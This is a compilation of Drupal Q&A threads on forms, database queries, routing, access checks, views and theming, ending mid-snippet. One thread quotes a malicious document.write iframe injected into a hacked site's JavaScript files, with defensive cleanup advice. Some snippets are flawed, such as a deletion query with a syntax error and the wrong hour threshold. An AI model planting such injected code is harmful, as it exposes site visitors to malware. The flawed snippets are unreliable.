Custom url inside the button I was creating my first project with drupal and now my problem was the request new password since this is a link and i want to make it into buttons so i generate my hook_form_alter but i got a problem with the url i'm not sure if markup is working.

Here my code for form_alter:

  $form['actions']['request'] = array(
'#markup' => l(t('Forgot Password?'), 'user/password', array('attributes' => array('class' => 'form-request','title' => t('Request a new generated password via e-mails.')))),'#weight' => 2, '#type' => 'button' );

I'm not sure if this is correct. Thanks for the help folks!

Here how your code should look like:

/**
 * Implement hook_form_alter().
 */
function mymodule_form_alter(&$form, &$form_state, $form_id) {

  if($form_id == 'FORM_ID') {
    $form['actions']['request'] = array(
      '#type' => 'submit',
      '#value' => t('Forgot Password?'),
      '#submit' => array('mycustom_submit_redirect'),
      '#limit_validation_errors' => array(),
      '#attributes' => array(
        'class' => array('form-request'),
        'title' => array(t('Request a new generated password via e-mails.')),
      ),
      '#weight' => 2,
    );
  }
}

function mycustom_submit_redirect(&$form, &$form_state) {
  // sometimes it seems to fail
  //$form_state['redirect'] = 'user/password';

  // alternative method to redirect
  $options['absolute'] = TRUE;

  $url = url('user/password', $options);

  header('Location: ' . $url);

  drupal_exit($url);
}


How to implement ORDER BY SUBSTRING in db_query I am migrating comments from a Drupal 6 site into Drupal 7 - but I am importing into the Reply module https://drupal.org/project/reply because the comments were on a Profile node in Drupal 6 but now I'm using Profile2 entities in D7.

I am trying to connect to my legacy database and so far my query is like

$query = $this->sourceDbConnection()
  ->select('node', 'n')
  ->fields('n', array('nid', 'title', 'uid',))
  ->fields('c', array('cid', 'pid', 'nid',  'uid', 'subject',
    'comment', 'hostname', 'timestamp', 'status', 'format',
    'thread', 'name', 'mail', 'homepage',
));
$query->innerJoin('comments', 'c', '(n.nid=c.nid)');
$query->where('(n.type=:type)', array(':type' => $this->LEGACY_CONTENT_TYPE));

However, I wish to add an ORDER BY to the query similar to how it is used in the comment_render function https://api.drupal.org/api/drupal/modules%21comment%21comment.module/function/comment_render/6 i.e. ORDER BY SUBSTRING(c.thread, 1, (LENGTH(c.thread) - 1))
and I don't know how to do this.

SelectQuery::orderBy() isn't particularly picky, you can just tack this on to the end of your code:

$query->orderBy('SUBSTRING(c.thread, 1, (LENGTH(c.thread) - 1))');

With the rest of your code that produces

SELECT n.nid AS nid, n.title AS title, n.uid AS uid, c.cid AS cid, c.pid AS pid, c.nid AS c_nid, c.uid AS c_uid, c.subject AS subject, c.comment AS comment, c.hostname AS hostname, c.timestamp AS timestamp, c.status AS status, c.format AS format, c.thread AS thread, c.name AS name, c.mail AS mail, c.homepage AS homepage
FROM
{node} n
INNER JOIN {comments} c ON (n.nid=c.nid)
WHERE  ((n.type=:type))
ORDER BY SUBSTRING(c.thread, 1, (LENGTH(c.thread) - 1)) ASC


Is there a way to mock a procedural function from common.inc in a test without an external library? I am trying to mock the render() function from common.inc in a test.

I am aware that render() could be substituted with a renderer service, but in this specific case I can't/couldn't refactor the code itself. Nor can I use an external lib for it.

Is there a way to do this in a native way, using PHPUnit only?

I have found a solution on this page: https://www.drupal.org/docs/8/phpunit/unit-testing-more-complicated-drupal-classes

  You can mock a global function by adding fixtures in your test module.
  Let's say that you need to mock base_path().

  Simple go add a fixture in your testing src
  Add a mock for function, for example, you can
  define like above:
  Simply use require_once on your setup and you get your mocked function available and replaceable only in the test you are requiring. Make sure to use function_exists() to check if the function you need to test isn't already available.

 /**
  * Overrides global function if not exists.
  *
  * @return string
  *   Base path mocked.
  */
  function base_path() {
    if (!function_exists('base_path')) {
      return '/';
    }
  }

In my case, I have used fixtures, as refactoring the code was out of question.

As the documentation says, I've created a mocked function in tests/fixtures/function_name.php and included the file into the setUp() method of the test with require_once. This way, I've had my own global function in the test's scope.


How do I update Drupal Distribution (Commerce Kickstart) on shared hosting environments? We currently run a Drupal Commerce site from GoDaddy C-Panel shared hosting environment.

I created the site with Commerce Kickstart and am now several distribution updates behind.

If that's the case, do I need to do the updates sequentially? (e.g. run three updates to get to the current version.)
Has anyone been successful with using Drush on GoDaddy to make these updates?

I read through the How-To documentation from Commerce Guys and wanted to run the updates with Drush based on the video posted there.

I followed the instructions on GoDaddy here: How to install Drush on cPanel Shared Hosting Everything seemed to go well, but nothing happens when I try to run the drush commands. Any recommendations on how to troubleshoot this?

So I think I will need to do the security updates all manually for now.

Use drush and try with this article: https://duntuk.com/how-install-drush-godaddy-cpanel-hosting
or
Update manually.

I would avoid the "update" interface in drupal. Reminder: All of the 100 or so modules are stored in the profile folder.


How to disable sortable headers in Admin theme tables I'm outputting some data from a custom module as follows

theme('table', array('rows' => $rows, 'header' => $headers ));

to a custom /admin page that will be viewed using the Administrative theme.

Problem is that the headers are generated as (a) clickable and (b) the selected columns have up/down sort arrows. But when you click on the arrows, no sorting happens.

How can I either remove this styling from the header, or implement a sort for the table?

Found the answer by reading this fine article

https://knackforge.com/blog/karalmax/drupal-7-creating-drupal-style-tables-paging-sorting-and-filter

"If you do not want a particular column to be sortable, do not specify the 'field' parameter for its header."

My headers array is now simply

   $headers = array(
      array('data' => 'UID'),
      array('data' => 'Username'),
      array('data' => 'Given Name'),
      array('data' => 'Family Name'),
      array('data' => 'Email Address')
    );

with no 'field' value specified, and the clickable headers have disappeared.


Error connecting to smtp server I have a Drupal 7.30 installation that I'm trying to develop on webenabled ( I also had it on network solutions shared hosting), and every time I attempt to send an email, I get the error unable to connect to the smtp server, and unable to send email, contact the system admin if this persists.
I have read numerous articles and check the drupal forum, but I have had no luck. None of the solutins work for me. I'm wondering if it is the configuration on the shared hosting. That is why I left network solutions. They culd not help, and were rather rude about my attempts.
Thank you ahead of time for anyone that can provide an answer.
SimmonsOne (Drupal username)

If there is a mail system installed on your server, Drupal will use it to send mail.

Things to check:

Can you send mail using a CLI mail program (e.g. "mail")?
Can PHP send mail? (Create a small PHP program outside of Drupal that uses this PHP-function to send mail.)

Usually, this is not a Drupal problem.  If you're able to send mail outside of Drupal, then Drupal will also send mail without any special configuration on your part.

Most shared hosting plans I've used (never used Network Solutions) is set up to send mail by default.

Also read this about debugging email problems.


Add a configurable text before the webform I'm working with Drupal 7.

I created a webform content and I want to add a configurable text as an introduction before my form. It's not a textarea. It's just a simple text wich should be configurable from my admin.

I created a block wich contains my text and in settings > Show block on some pages only > I chosen Only the pages listed and set my link /content/add_project

But my text is not displayed.

Any idea please?

Thank you.

You don't have to create a block for it. There is markup type field in the webform module you can use it for display informative or configurable text in the webform where you like to show. You can also use HTML for this.

For Example

For more details, click here


File browser of ckeditor increase overhead by loading unnecessary folders When I try to use the image file browser of the CKeditor, the browser takes a lot of time to load. When I checked the request, I found that the browser loads a lot of folders that are not even displayed.

The logs shows that the file browser try to load all the folders under /pub/sites/default/files/ will it be possible to limit that to only request the folders under /pub/sites/default/files/u285430 where u285430 is the user folder ?

This might help people having the same issue.

The way IMCE works will scan the whole directory over Http requests then filter using permissions. This can cause a big overhead.

My solution was to dynamically generate new folder every month, this way I make sure that there are not that many pictures to load every time.


How to limit the results of a view with flagged content to the flagging user only? I have created a view which displays a list of flagged content. I have used the Flag module to achieve this. I have named this page as Bookmarks, and the URL to this page is http://example.com/user/%/bookmarks. User should only able to access their own flagged content.

Consider this scenario:

User A has his flagged content in http://example.com/user/2/bookmark (uid=2 for User A).
This page should be accessible only by User A and the admin user.
If User B tries to access http://example.com/user/2/bookmark, it should return access denied.

How can I get this to work?

ok i understand, you should add contextual filter like given below..

i hope this helps you.


What cause my 404 error for my user_picture thumbnail in template file? I want to print user_picture thumbnail in my page template. I am using the following code in hook_preprocess_html() in my .theme file.

$user = user_load(\Drupal::currentUser()->id());
$style = entity_load('image_style', 'thumbnail');
$variables['user_picture'] = $style->buildUrl($user->get('user_picture')->entity->url());

It's generating a URl but it is showing 404, what could be wrong here?

In hook_preprocess_html() add the following code.

  $user = user_load(\Drupal::currentUser()->id());;
  $variables['user_pic'] = $user->user_picture->entity->uri->value;

In your template file use code similar to the following one.

If you want to apply an image style, use the following code in hook_preprocess_html().

$variables['user_pic'] = ImageStyle::load('thumbnail')->buildUrl($user->get('user_picture')->entity->uri->value);

In the template file, use the following.


How do I fix the "The each() function is deprecated" error? I am using Drupal 7.6.0 on a server with PHP version 7.2.11.

I get this error message.

  Deprecated function: The each() function is deprecated. This message will be suppressed on further calls in menu_set_active_trail() (line 2405 of C:\xampp\htdocs\portailcommerce\includes\menu.inc).

How can I fix it?

Just update Drupal 7 to latest version which, as I am writing this answer, is version 7.64. Drupal 7 doesn't use each() in PHP since November 7, 2018, as the CHANGELOG.txt file says. (See the last line of the part I quoted.)

  Drupal 7.61, 2018-11-07

  File upload validation functions and hook_file_validate() implementations are
  now always passed the correct file URI.
  The default form cache expiration of 6 hours is now configurable (API
  addition: https://www.drupal.org/node/2857751).
  Allowed callers of drupal_http_request() to optionally specify an explicit
  Host header.
  Allowed the + character to appear in usernames.
  PHP 7.2: Fixed Archive_Tar incompatibility.
  PHP 7.2: Removed deprecated function each().

As long as you use at least Drupal 7.61, you will fix the error you shown, which (in your case) is caused from menu_set_active_trail(). (The code shown in the documentation page doesn't show any line using each() because the code has been updated to the latest Drupal 7 version.)

If you are using third-party modules, you could still see that error, but caused by other functions/methods. In that case, you need to update all the modules you are using on that site.
If this doesn't fix other The each() function is deprecated errors, you need to check the issue queue for every third-party module you are using, and verify there are patches for fixing that error.


Using form_set_value with commerce in custom form I'm trying to change the value of a form within a custom Commerce Pane during validation but I get the following error:

  Recoverable fatal error: Argument 2 passed to drupal_array_set_nested_value() must be an array, string given, called in /var/www/vhosts/innovista.org/httpdocs/includes/form.inc on line 2514 and defined in drupal_array_set_nested_value() (line 6440 of /var/www/vhosts/innovista.org/httpdocs/includes/common.inc).

As far as I see my code is an array.

form_set_value($form_state['values'][$checkout_pane['pane_id']]['donation_amount'], array('und' => array(0 => array('value' => '999'))), $form_state);

I've been using $checkout_pane['pane_id'] . '][donation_amount' with form_set_error(), and it works fine. I can't understand why argument 2 is not working.

I have tried setting #parents as this question suggests:
Using form_set_value() in Drupal 7

In the following way:

$form_state['values'][$checkout_pane['pane_id']]['donation_amount']['#parents'] = array( 'values',$checkout_pane['pane_id'], 'donation_amount');

But this produces an extra error:

  Notice: Array to string conversion in
  donation_checkout_pane_pane_checkout_form_validate() (line 186 of
  /var/www/vhosts/innovista.org/httpdocs/sites/all/modules/donation_checkout_pane/donation_checkout_pane.module).

Do you have any idea?

The code executed from form_set_value() is the following one.

function form_set_value($element, $value, &$form_state) {
  drupal_array_set_nested_value($form_state['values'], $element['#parents'], $value, TRUE);
}

$checkout_pane['pane_id'] . '][donation_amount' is a string, even if $checkout_pane['pane_id'] is an array; this is because the string concatenation operator cast an array into a string.
If $element is a string, then $element['#parents'] is a string made of one character, similarly to what happens with $string[0], when $string is set to 'long string with many characters that are added just to make the string longer'.

That explains the error about the second argument.

With form_set_error(), $checkout_pane['pane_id'] . '][donation_amount' works because the function is expecting a string as first argument, and the format of that string is exactly the format of the string you are passing.

The first argument of form_set_value() is a form API array for the form element for which you want to set the value. That is not the content of $form_state['values']. As that is the code for a form validation handler, it should be similar to the following one.

function mymodule_form_validate(&$form, &$form_state) {
  // …
  $form[$checkout_pane['pane_id']]['donation_amount']['#parents'] = array($checkout_pane['pane_id'], 'donation_amount');
  form_set_value($form[$checkout_pane['pane_id']]['donation_amount'], '999', $form_state);
}

You still need to verify the content of $checkout_pane['pane_id'] is effectively the parent of the element you want to change. For that, you can install the Devel module, and print the structure of $form using dpm($form);.

As for the answer given in the other question, I can say it is based on the description present in form_set_value() for the $element parameter.

  The form element that should have its value updated; in most cases you can just pass in the element from the $form array, although the only component that is actually used is '#parents'. If constructing yourself, set $element['#parents'] to be an array giving the path through the form array's keys to the element whose value you want to update. For instance, if you want to update the value of $form['elem1']['elem2'], which should be stored in $form_state['values']['elem1']['elem2'], you would set $element['#parents'] = array('elem1','elem2');.


Access custom theme settings from within views I have a few custom theme settings which so on my themes settings page.. this all works fine and as expected.

I now need to create a view that gets that custom theme setting. I can't find anything on how to do this.

I have installed the views php module and I know this theme_get_setting('setting_name') is what i used to get the theme settings in my template.php file.

Any help with this will be much appreciated.

Regards
C

Just for other people who come across this here is the answer:

<?php print theme_get_setting('tm_qrule_url'); ?> works using the views_php module

It doesn't show in the views preview but does in the actual page load.

Thanks goes to @sheena_d for helping with this.


select nodes whose created date in hours is equal or larger than 48 hours I make a PHP routine in which all node is selected and check created date and delete those nodes which is created in last 48 hours or greater.

$result = db_query('SELECT n.nid, n.title, n.created FROM {node} n ');

foreach ($result as $record) {

        $createdDate = $record->created;
        $currentDate = time();

        $diff = $currentDate - $createdDate;
        $diff_in_hrs = ceil($diff/3600);

        if($diff_in_hrs => 48)
        {
            node_delete($record->nid);
        }
}

but i think it is a bad approach that i select all nodes (which may be 10000 nodes) and then iterate each node. i am bad in sql but i think there may be sql query through which i can get the same result.

Even quicker (and more efficient):

$sql = 'SELECT n.nid, n.title, n.created FROM {node} n WHERE (UNIX_TIMESTAMP(CURRENT_TIMESTAMP()) -n.created)/3600 >= 72');
node_delete_multiple(db_query($sql)->fetchCol());


PDO exception error [database].semaphore doesnot exist I created a website in drupal 7, tested it in my localhost and works good. Now, I want to host the site in our Main server. So, I uploaded the site directory to the server and created a corresponding database for that. Updated the settings.php file with the database name, user and password.

I do hope that the site install process is done. The site is deployed within the server, database created. When I give the address of the site, it shows some PDO exception error.

PDOException: SQLSTATE[42S02]: Base table or view not found: 1146 Table '[database].semaphore' doesn't exist: SELECT expire, value FROM {semaphore} WHERE name = :name; Array ( [:name] => variable_init ) in lock_may_be_available() (line 167 of /home/cpath/D-6.12/apache2/htdocs/[htdocs]/includes/lock.inc).

I tried re-installing the drupal site, it didn't work.

I even reviewed and tried all the solutions shown in drupal.org, but no way I couldn't resolve the issue.

I appreciate your valuable suggestions.

This question is duplicate. I already answered this in here. this is because of your database engine which must be converted to MyISAM from InnoDB. go to that link for more detail.


How to get methods from vendor classes I use get_class_methods to get classes for Drupal classes, for example I go to devel/php and run:

$coupon = \Drupal::entityTypeManager()
  ->getStorage('commerce_promotion_coupon')->load(3);

ksm(get_class_methods($coupon));`

But If I want to get list of classes for some vendor library I don't know how to get them.

That's off-topic. But try this:

$ composer require ramsey/uuid

And then put the whole use statement without use into get_class_methods():

ksm(get_class_methods('Ramsey\Uuid\Uuid'));

Putting that into a new ReflectionClass() would actually give you much more useful output:

$class = new ReflectionClass('Ramsey\Uuid\Uuid');
$methods = $class->getMethods(ReflectionMethod::IS_PUBLIC);
ksm($methods);


How to change the name of uploaded file in my custom Entity? I have a custom Content Entity created with

public static function baseFieldDefinitions(EntityTypeInterface $entity_type)

In the definition, there is a 'file' field:

$fields['file1'] = BaseFieldDefinition::create('file')
->setLabel(t('Fichier source'))
->setDescription(t('Source document (can be edited)'))
->setSettings([
'target_type' => 'file',
'file_extensions' => 'doc docx odt pages',
'file_directory' => 'contrats',
])
->setDefaultValue('')
->setDisplayOptions('view', [
'label' => 'above',
'type' => 'string',
'weight' => 7,
])
->setDisplayOptions('form', [
'type' => 'string_textfield',
'weight' => 7,
])
->setDisplayConfigurable('form', TRUE)
->setDisplayConfigurable('view', TRUE)
->setReadOnly(TRUE);

And it works fine!
My question is: how can I change the name of an uploaded file?
I guess I should use hook_entity_presave.
But how to retrieve file information in hook_entity_presave?
Using the comments already given (thanks), I added this:

function tempo_entity_presave(EntityInterface $entity)
{
if ($entity->getEntityType()->id() == "amap_contrats") {
$sName  = 'Contrat-'.$entity->typecontrat->target_id.'-'.str_replace("-", "", $entity->datedebutcontrat->value);
$fid1[0]['target_id'];
$fid1 = $entity->get('file1')->target_id;
$file = file_load($fid1);
$sName1 = $sName.'.'.pathinfo($file->filename->value, PATHINFO_EXTENSION);
$result = file_move($file1, $sName1, FILE_EXISTS_REPLACE);
$sName2 = $sName . '.pdf';
$result =file_move($file2, $sName2, FILE_EXISTS_REPLACE);
}
}

And now, I get this error:

Argument 1 passed to file_move() must implement interface Drupal\file\FileInterface, null given, called in /Applications/MAMP/htdocs/JdP8M3/modules/custom/tempo/tempo.module on line 48 in /Applications/MAMP/htdocs/JdP8M3/core/modules/file/file.module on line 216 #0 /Applications/MAMP/htdocs/JdP8M3/modules/custom/tempo/tempo.module(48): file_move(NULL, 'Contrat-5-20170...', 1)

Any idea?

OK, I got it! My mistake:
I load '$file' and I try to file_move '$file1' :-(

Please refer the below articles it will be helpful for you..

How do I change the uploaded file name after the node has been saved?

Changing file name on upload


How do I create a HTML link from an internal path using the core Link class? I miss the deprecated l() a lot. I am trying to construct the Drupal 8 equivalent of:

l(t('mylink'), 'admin/structure/types');

This call generates this HTML:

'mylink'

I want to know how to produce the same HTML (i.e. a string) using the Link class.

Please understand that I am not looking asking how to render the link. I need the string for other purposes than rendering. I fully aware of that usually, one wants to render the link. If that is what you want to do, you should look at the accepted answer to this question: How do I create a link?.

I am trying to generate an HTML link to'admin/structure/types'. But will appreciate an answer that explains how to do this for any valid internal path.

I've looked at a lot of examples, a most of the them end up saying one should use Link::fromTextAndUrl in some construct like this - without explaining how to get $routename from the path.:

Link::fromTextAndUrl(t('mylink'), Url::fromRoute($routeName));

However, by searching (as suggested by Jaypan) I was able to determine that the routename for this path was 'entity.node_type.collection'.  This works as one would expect:

  $url = Url::fromRoute('entity.node_type.collection');
  $url_string = $url->toString();

I.e.: $url_string is now 'admin/structure/types'.

So I proceed to build a link object

$link = Link::fromTextAndUrl(t('mylink'), Url::fromRoute('entity.node_type.collection'));

Now: How to get an HTML string?

No Sssweat suggests:

$url = Url::fromRoute('book.admin');
$link_thingy = Link::fromTextAndUrl(t('mylink'), $url)->toString();

This step just make $link_thingy into an object. Close, but no cigar.

In an updated version of his answer, Jaypan says that treating this object like a string - example:

 print Link::fromTextAndUrl(t('mylink'), Url::fromRoute('user.login'))->toString();

outputs the HTML string.  This works. This means you will have the HTML string when you use it in a context one would use a string.  Therefore, I've accepted Jaypan's answer.

I've also tried out the kiamlaluno's answer, i.e.:

 $link_thingy = $link->toRenderable();

This produces a (huge) render array, not a string.  A render array, however, is a very useful thing (see comments for why this is so), but it is not accepted as answer to this question because the question was: How to get an HTML string?

Environment: Clean install of Drupal 8.8.6 (core + devel). Ubuntu 20.04 LTS.

Getting the route can be tricky. Sometimes I'll just do a code search for the path.

Routes are defined in [MODULE].routing.yml files. You can often look for a route you need if you can guess the module that supplies it. For example, the user login page is provided by the user module, so I look in user.routing.yml, in which I find this for the user login route:

user.login:
  path: '/user/login'
  defaults:
    _form: '\Drupal\user\Form\UserLoginForm'
    _title: 'Log in'
  requirements:
    _user_is_logged_in: 'FALSE'
  options:
    _maintenance_access: TRUE

The route name here is user.login. Now, that route name can be used to do the following:

$url = Url::fromRoute('user.login');
// Get the URL string:
$url_string = $url->toString();
// Build a link:
$link = Link::fromTextAndUrl(t('Log In'), $url);
// Get the link string:
$link_string = $link->toString();

Note that $link->toString() returns an object of type Drupal\Core\GeneratedLink. This class has the magic method GeneratedLink::__toString(). This magic method is invoked when the object is treated like a string. That means you can treat the result of $link->toString() as if it were a string, even though it's an object. So in context where you can print values, this will work:

print Link::fromTextAndUrl(t('mylink'), Url::fromRoute('user.login'))->toString();


putting the most visited content in a block I need to have the most visited content on a block, I am using view module and I want to know is there any way to do it with view module or I should use an other module

You could use the Drupal Most Popular module

  Showcase the most popular content across your Drupal website and
  engage your audience. Ready to Use

  The module is pre-packaged with several services including:

  Drupal - Most Viewed pages (using Statistics module) Drupal - Most
  Commented pages (from simple database query) Google Analytics - Most
  Viewed pages AddThis.com - Most Shared pages Disqus.com - Most
  Commented pages The system defines Drupal hooks to allow new services
  to be created, which can pull data from third party providers or
  internally from Drupal.  The system also provides an API to help
  service plugins normalize their results and exclude certain pages, as
  configured by the administrator.

or another module that you can use and its so easy is Radioactivity and there is a good video tutorial here


Malicious code on my Drupal 7 website I found that in all(i mean all drupal js files)  javascript files on my drupal website, there is a javascript code with an iframe pointing to an external website.
When opening the website through Google crome, the Browser shows Malware warning.
 How is it possible that someone was able to write on the javascript files?
 My settings.php permission is 0444 readOnly

Below is  the sample of the injected code

 jQuery(document).ready(function($){

   $("#edit-search-web").Watermark(" type the keyword");

 });;document.write('<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="SOMEBADURL"></iframe>');

Without knowing the specifics or your installation, nobody can give you the exact reason you got hacked.

I suspect that your server is running a vulnerable version of PHP and that Apache has write access to your site files.  Typically, there will be a bot that will GET a specifc URL that will download a script onto the server, which will then append to well-known (or all) Javascript files.  These additions will add in the malicious code.

After you fix this problem, you should.

Patch your PHP to bring it up to the latest revision for your version of PHP.
Update Drupal to the latest revision for your version.
Clean out your /tmp folders on the server and reboot it.
Read up on Securing file permissions and ownership.  It is important that you fix permissions each time you update files; a lot of FTP clients botch permissions when they upload.
If you are on shared hosting, consider moving to a VPS or Drupal specific hosting.  Running Apache as your login account makes sense for the server owners, not the website owner.
Create a git repo in your DOCROOT, add all of the files (the standard gitignore shoud be fine), and create a "remote" repo on the local filesystem that you can git push to.  This makes backuping up and restoring site files pretty easy.


media entity browser base view is missing What happened to the base view for Media Entity Browser?

Following this tutorial:

https://www.easternstandard.com/blog/2017/12/drupal-media-bundles-media-browser-cropping

I made all the changes since Media Entity is now in core, but I googled and could no mention of what happened to Media Entity Browser. Is it now in core too?

No, the Media Entity Browser is still in contrib. If you are using core media then use the 2.x branch, see https://www.drupal.org/project/media_entity_browser. If this is only about the question in the title, see Revert views missing. Any workarounds? how to import a View from a module folder. If the View is missing you don't need to look for the UUID of the existing View.


hide repeated data from my view table for some specific field ****how can hide repeated data from my view table. i want to print employee Id and name field only once for each group.
can you please help me out.****

I am fetching two table in view using JOIN.So few data gets repeated with respect to foreign key. So I need to hide those field value...
    Suggest me any solution...distinct and aggregation mixing up my data..

you need to remove the month and aggregate the salary field as SUM,
if you only want to suppress display of 2+ column values try the views merge rows module


Redirect before 404 page I'm currently migrating a site to Drupal. The old site has thousands of dynamic URLs for which I cannot use a regular expression to handle them. Those URLs exist in a slightly different form in the Drupal site.
Unfortunately the URL structure is too complicated for being processed directly in a .htaccess file.
I want all the old URLs to return a 301 redirect to the new URL.
This is what I tried.

I implemented hook_page_preprocess() and sent a RedirectResponse to the new URL when the incoming URL matches the regular expression for the old URLs
I implemented an event subscriber that does basically the same on the onRequest event

In both the cases, the redirect response is sent with the following code.
$respond = new TrustedRedirectResponse($url,301);
$respond->send();
die();

Both solutions do work when the user is logged-in. In my local developing site, it works also when the user is not logged-in. On the live server, it doesn't work for anonymous users.
The funny thing is that, even when the redirection works for logged-in users, the log shows a Page not found entry for that URL. So it seems that even with the event subscriber solution, Drupal handles the 404 part first, and then executes my code.
What am I doing wrong?
Should I implement this differently?

I stumbled upon the same issue with Drupal 8.2.6: A 404 error was recorded even though my custom event subscriber was called.
Following what suggested in comments I read about the Redirect module, I set the event subscriber priority using the following code.
public static function getSubscribedEvents() {
  // This needs to run before RouterListener::onKernelRequest(), which has
  // a priority of 32. Otherwise, that aborts the request if no matching
  // route is found.
  $events[KernelEvents::REQUEST][] = array('onKernelRequest', 34);

  return $events;
}

This fixed the issue I was having.


Alter the access of menu links before rendering I need to alter the access of menu links before being rendered. In Drupal 7, we used hook_translated_menu_link_alter() for it. Drupal 8 change records show that there are no direct replacement for that hook.

Is there any other hook or controller to alter the access of the menu link before it is rendered?

After some trial and error an researching and researching I found out how to get it done.

Case:
The aim is to avoid that any other user than the admin can access administration pages starting with path "/admin/config/*". The point is that we have a administrator role in our project who should have access to the menu administration pages (they need the permission "Use the administration pages and help" to get to this administration page). With this permission they also see the "Configuration" menu item in toolbar and all sub menu items like "System" but these pages are empty.

How to achive that by altering the access checks

First define your own RouteSubscribe class in folder/file your_module/src/Routing/AdminRouteSubscriber.php:

namespace Drupal\your_module\Routing;

use Drupal\Core\Routing\RouteSubscriberBase;
use Symfony\Component\Routing\RouteCollection;

class AdminRouteSubscriber extends RouteSubscriberBase  {

  /**
   * {@inheritdoc}
   */
  public function alterRoutes(RouteCollection $collection) {

    $path = '/admin/config';
    foreach ($collection->all() as $routename => $route) {
      if (substr($route->getPath(), 0, 13) == $path) {
        $route->setRequirement(
          '_custom_access',
          '\Drupal\your_module\AccessChecks\CustomAccessChecks::access'
        );
      }
    }
  }
}

What we did here is to check the path of every route and if it starts with "/admin/config" it gets added our custom AccessCheck class defining the method "admimAccess" to be called.

Than go ahead and define your own access check class in folder/file your_module/src/AccessChecks/CustomAccessChecks.php:

namespace Drupal\your_module\AccessChecks;

use Drupal\Core\Routing\Access\AccessInterface;
use Drupal\Core\Session\AccountInterface;
use Drupal\Core\Access\AccessResultAllowed;
use Symfony\Component\Routing\Route;
use Drupal\Core\Routing\RouteMatchInterface;

class CustomAccessChecks implements AccessInterface {

  /**
   * A custom access check.
   *
   * @param \Drupal\Core\Session\AccountInterface $account
   *   Run access checks for this account.
   */
  public function access(Route $route, RouteMatchInterface $route_match, AccountInterface $account) {
    return AccessResultAllowed::allowedIf((int) $account->id() === 1);
  }
}

This access method has to return an implementation of AccessResultInterface. We say that access is allowed if the current user has the id 1.

Lastly you need to add these classes to the service container by defining your your_module.services.yml in your module's root folder:

services:
  your_module.route_subscriber:
    class: Drupal\your_module\Routing\AdminRouteSubscriber
    tags:
      - { name: event_subscriber }
  your_module.access_checker:
      class: Drupal\your_module\AccessChecks\CustomAccessChecks
      tags:
        - { name: access_check }

After rebuilding your cache it works.


How can I offer an option for users to switch between Unformatted and Table the Basic Styles section of Views. I'm using Drupal 6, and the customer has asked for a way for the user to switch between a list-of-nodes view, and a table view. The Basic settings section in Views does not offer a Exposed option, and my Googling has turned up nothing useful in this regard. I'm a somewhat experienced as a Drupal themer, and I could make a duplicate set of Views manually with a different settings to achieve this, but if there's an easier way, I'd like to have your insights.

I would most likely go for Views Display Tabs or Quick Tabs (and I would lean towards Quick Tabs because it has a d7 version and is more active).


Want a select option of a field saved in another form i have a web form having following fields for sales department:
client name(text field), quarter(select option), countries(select option), Annual fees(number), Monthly fees(number), setup(fees)......

now i want to create a form in which i can have a list of all the client saved by above form
 for management to allot resources for the client

please suggest any module required or coding which required.

need help urgently on this

The module is Webform Views Select.

This question is related to this question.

Webform select option list from another submission data


How to clear CSS and Javascript with a bookmark? I would like to clear the CSS and javascript in D7 with the help of a bookmark.

Currently this is:

<domein>/admin_menu/flush-cache/assets?token=<tokenid>

This is working however the tokenid is changing all the time. It there a easy solution for this so I don't have to change the tokenid in the bookmark every time?

In a custom module add a menu item (Using hook_menu) to function with this code:

drupal_clear_css_cache();
drupal_clear_js_cache();

Then you can just bookmark your custom page url. Or set a cron job to call that page at regular intervals if thats what you're after


Manage images manually For our new Drupal site, it would be ideal if we could manage all images manually. We need to able to resize/crop and put the files where an author decides to put them. The reason is that these images are used in multiple locations, e.g. a podcast and as thumbnail images for the corresponding video. Another reason is that these images are served from a subdomain, which is connected to a CDN (through CloudFlare).

Basically what I/we need is a URL field where an author can paste the image URL, that is then turned into an image on the website. The author would generate the various image types, e.g. thumbnail, medium, large.

I could not figure out what the best approach is to add an image/text field to a content type in order to display the image on the website. Any pointers would be much appreciated!

Thanks.

Your best option for remote images is the Filefield Sources module, however this will not provide the ability to manually create the thumbnail, medium, large, etc versions.

You can achieve auto-creation with image-styles and preset the dimensions or criteria that you would like for the "cropped/smaller" versions.

Lastly, if you want manual creation of those files you would have to create a new field for each version and have them pre-cropped/sized, and paste in the url from the CDN.


Update UI lists modules/themes that are already updated I have a D7 (7.69) site. On both dev and production, I can update a module (using the web UI - /admin/modules/update), apparently successfully, yet afterwards, that module stays listed as requiring an update with Installed Version and Recommended Version exactly the same.

e.g.

  Adminimal - Responsive Administration Theme (Theme)
  Installed version 7.x-1.26
  Recommended version 7.x-1.26

(I've seen it with themes, such as the one above, and modules such as Views).

I've tried:

clearing the cache
downloading a clean latest version to a new directory, and comparing the md5hashes of all files between the two (as well as simpler checks like the module .info file.)
wiping the module/theme directory and replacing with a freshly extracted .tar.gz
checking if any database updates are pending (they're not)

Is there anything else that could be causing it to get stuck?

I've looked at the system table - specifically the system.info field - but nothing looks "wrong".

This was caused by the Update Status Advanced Settings (update_advanced) module.

I didn't know this module was installed or what it was, so here's how I traced it back:

modules/update/update.compare.inc is where the core update module checks versions of each module and theme, beginning with update_calculate_project_data() - this creates a $project array that contains current/recommended versions, plus a numeric 'status' key.

'status' is a constant, set in modules/update/update.module, with values including:

define('UPDATE_CURRENT', 5); // project is up to date
define('UPDATE_NOT_CHECKED', -1); // Project's status cannot be checked.

I used Xdebug on update_calculate_project_data(), specifically tracking the modules that were stuck on the update screen.

They all had a status of UPDATE_CURRENT initially (as expected/desired), but that changed to UPDATE_NOT_CHECKED after the call to the hook in line 363:

drupal_alter('update_status', $projects);

Searching the code base, found this hook is implemented in sites/all/modules/update_advanced/update_advanced.module:50 by update_advanced_update_status_alter()

If you've got this module, the settings page is /admin/reports/updates/settings; you can instruct it to not warn you about specific modules.

The side effect is that by changing the status to anything other than UPDATE_CURRENT, a module/theme will always be listed in the Update UI (modules/update/update.manager.inc:94), including if the module is "current" really.


Views Full Pager alignment What would be the easiest way to make the Views PAGER text on a view aka first previous next etc, align center in the view?

Thank  you!

In Drupal 7, Views 3, we added text-align: center to our stylesheet:

.item-list .pager {
    text-align: center;
}

And to make it only apply to one specific view:

.view-id-my_view_name.view-display-id-page_1 .item-list .pager {
    text-align: center;
}


How to implement javascript to the theme Bootstrap Please help me figure out what I'm doing wrong. I spent a lot of time to search for solutions, but could not find it.
I am trying to add functionality Demo in the sub-theme Bootstrap.
Added script to theme subtheme/js/script.js

(function ($, Drupal, window, document, undefined) {
    $(document).ready(function(){
        $(".b-left-side__pointer").click(function(){
           if ($(".switch").hasClass('b-container__left-side')) {
